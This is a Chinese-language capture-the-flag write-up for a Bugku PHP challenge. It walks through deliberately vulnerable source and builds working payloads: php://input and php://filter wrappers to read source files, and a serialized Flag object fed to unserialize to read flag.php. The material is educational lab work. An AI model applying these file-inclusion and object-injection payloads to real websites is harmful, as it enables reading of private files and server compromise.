1. 程式人生 > >記一道集PHP偽協議&PHP反序列化綜合運用的CTF

記一道集PHP偽協議&PHP反序列化綜合運用的CTF

首先拿到題目後,毫無疑問,檢視一下原始碼

  1. <!--

  2. $user = $_GET["txt"];

  3. $file = $_GET["file"];

  4. $pass = $_GET["password"];

  5. if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){

  6. echo "hello admin!<br>";

  7. include($file); //hint.php

  8. }else{

  9. echo "you are not admin ! ";

  10. }

  11. -->

解讀一下原始碼的意思:

  1. get方式傳入三個引數:txt,file,password
  2. file_get_contents()函式的作用是將$user的內容讀取出來,在此即為將user讀取出來的內容數值與型別完全等於welcome to the bugkuctf。(三個等於號)
  3. 如果滿足if條件,則列印輸出"hello admin!"。並且將包含的hint.php內容顯示出來

在此,可以運用兩個PHP的偽協議

  • php://filter         可以進行任意檔案的讀取。
  • php://input        可以讀取沒有處理過的post資料

通過對以上程式碼的分析,我們有了解決思路:

  1. 對於file_get_contents($user,'r')==="welcome to the bugkuctf",我們可以借用php偽協議php://input,要想使user中的字串讀取出來與三等號後的內容一致,就必須使他的傳入引數txt,來post  welcome to the bugkuctf
  2. 再來看include($file); //hint.php 。我們可以用php://filter來進行hint.php的base編碼,從而可以讀取出hint.php的內容。

構造payload:

index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php

利用bp改包

得到回顯

發現一組base64,再進行base64解碼,發現又有一組程式碼

  1. #hint.php

  2. <?php

  3. class Flag{//flag.php

  4. public $file;

  5. public function __tostring(){

  6. if(isset($this->file)){

  7. echo file_get_contents($this->file);

  8. echo "<br>";

  9. return ("good");

  10. }

  11. }

  12. }

  13. ?>

再來分析這段程式碼

看到flag.php,猜測flag或許就從這段程式碼中找出。發現了比較關鍵的一個函式__tostring(),此函式的作用是將Flag類作為字串執行時會自動執行此函式,並且將變數$file作為檔名輸出檔案內容。但是,這個時候發現並沒有程式碼顯示可以呼叫這個類,如果沒有呼叫這個類,也就無法執行__tostring()函式。而且,還有一個password引數沒有用上,所以考慮,或許還會存在另一段程式碼。那就接著上一步,把hint.php換成index.php會有什麼發現呢?

果不其然,確實又有了重大發現:

再次得到回顯

解碼後

  1. index.php

  2. <?php

  3. $txt = $_GET["txt"];

  4. $file = $_GET["file"];

  5. $password = $_GET["password"];

  6. if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){

  7. echo "hello friend!<br>";

  8. if(preg_match("/flag/",$file)){

  9. echo "ä¸è½ç°å¨å°±ç»ä½ flagå¦";

  10. exit();

  11. }else{

  12. include($file);

  13. $password = unserialize($password);

  14. echo $password;

  15. }

  16. }else{

  17. echo "you are not the number of bugku ! ";

  18. }

  19. ?>

  20. <!--

  21. $user = $_GET["txt"];

  22. $file = $_GET["file"];

  23. $pass = $_GET["password"];

  24. if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){

  25. echo "hello admin!<br>";

  26. include($file); //hint.php

  27. }else{

  28. echo "you are not admin ! ";

  29. }

  30. -->

結果發現了正則匹配函式preg_match("/flag/",$file),對flag進行了正則匹配。

再來接著看,else程式碼塊中又一次包含了$file,並且對$password進行反序列化。通過對上述hint.php的解讀,我們就可以構造password,password為Flag型別,字串變數file=flag.php。構造的序列化物件payload,password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在這裡簡單說一下php的反序列化

將原來的某個物件進行序列化之後,從序列化後的結果中就可以知道這個物件的具體型別和值

在這裡簡單說一下序列化後的幾個字母的意思,以password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}為例

  • O(大寫):物件class
  • 4:4個字元
  • "Flag":物件名
  • 1:數量,一個
  • s:string
  • {}裡的為引數

反序列化可以理解為序列化的的逆運算